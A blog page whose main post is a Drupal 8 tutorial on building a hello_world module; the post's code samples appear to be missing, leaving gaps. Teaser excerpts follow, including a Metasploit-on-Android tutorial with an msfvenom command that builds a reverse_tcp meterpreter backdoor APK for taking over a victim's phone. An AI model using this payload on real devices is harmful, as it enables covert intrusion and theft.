Skip to main content

[Drupal 8]Build a simple hello_world Module

Drupal is one of the world's most widely used Content Management System. It is mainly used to create your own website and publish it using an online webhost. Drupal 8, its latest release, takes the lead over Drupal 7 since it brought along with it a lot of changes. Drupal 8 is also very fast and flexible.



Below are few steps you need to follow to create a module in drupal. A module is basically a simple page where you can add your own features by using Controllers, which we will later on in this article.
Click here to check out my blog post on how to install Drupal using composer.

Structure of files

i) An info.yml file - Module
ii) A routing.yml file - Routing File
iii) A Controller















Building the module

A module needs to have the .info.yml extension. This file will contain important information such as:
(i) name of the module
(ii) a description of what the module can do
(iii) the type, which can be module, profile or theme
(iv) package, which should be set to Custom if you are designing your own
(v) core, which will determine which version of drupal will be accepted

There are also several more information stored in a info.yml file, but for a simple hello world module, these should be sufficient.

At this point, your module is created, and you can effectively enable it by going to Extend and searching for your module name, in our case, Hello World. But, this module, although enabled, would not do anything, since its path and Controller does not exist yet.




Building the routing


A routing file needs to have the .routing.yml extension. This file contains:
(i) a path specified to register the module
(ii) defaults properties, that contains the controller path
(iii) requirements, storing permissions of who can access that particular module

The first line states the name of the module and the path is simply the link that is used by the client to generate the module. Under defaults is the controller settings.
Drupal\hello_world\controller -> is the path that stores the Controller HelloWorldController and hello is the name of the method inside the controller.

You can add more options to your routing file. See this documentation
Building the Controller









The controller file contains the main methods that is called whenever a user requests the page. In our case, the method is hello(). The controller needs to be created inside src/controller.

The namespace states the path of where the Controller is located. The class HelloWorldController here, contains one method/function hello that returns an array with the contents of the modules.

After clearning all the cache, which can be done either by going to Configurations >> Performance >> Clear all cache, or by installing Drush, which is very helpful since you can simply clear cache by running "sudo drush cache-rebuild", inside your drupal website directory. See installation documentation for Drush.

After that, you module should be up and running.

Popular posts from this blog

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3:
#include 
Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically.
It's simple, don't panic!
You need to call a function with any name you want. Let's take loginfb()!
call ("loginfb") So, we only have to write the function loginfb now!
Func loginfb()
Global $oIE = _IECreate ("https://www.facebook.com/")

Local $username = _IEGetObjByName ($oIE, "email")
Local $password = _IEgetObjByName ($oIE, "pass")
Local $button = _IEGetObjById ($oIE, "loginbutton")

_IEFormElementSetValue ($username, "") // your email here!
_IEFormElementSetValue ($password, "") //your fb password here!
Send("{Enter}")
EndFunc
$username and $password are variables. "email" and "pass" are the names given to the textarea where you are to write your emai…

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf)
Requirements:
Linux-based OSYou'll need to have msfconsole installed on your machine
You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well.Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.
Steps1) First of all open up your terminal. (Ctrl + Alt + T)
$ sudo apt-get update Update your repositories before starting.

2) Once updated, we can start. Simply follow the steps below to get started:
$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

You can check out the archit…

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI.

In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3.

Requirements:
1. Github account
2. Basic knowledge of python
3. setuptools - (pip3 install setuptools)
4. wheel - (pip3 install wheel)

By the end of this blog post, you should be able to print hello world using a single command:


Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world. At the time that I am writing this post, there is not package called print_hello_world on PyPI. Logically, after doing this tutorial, there might be one.

1. Create app f…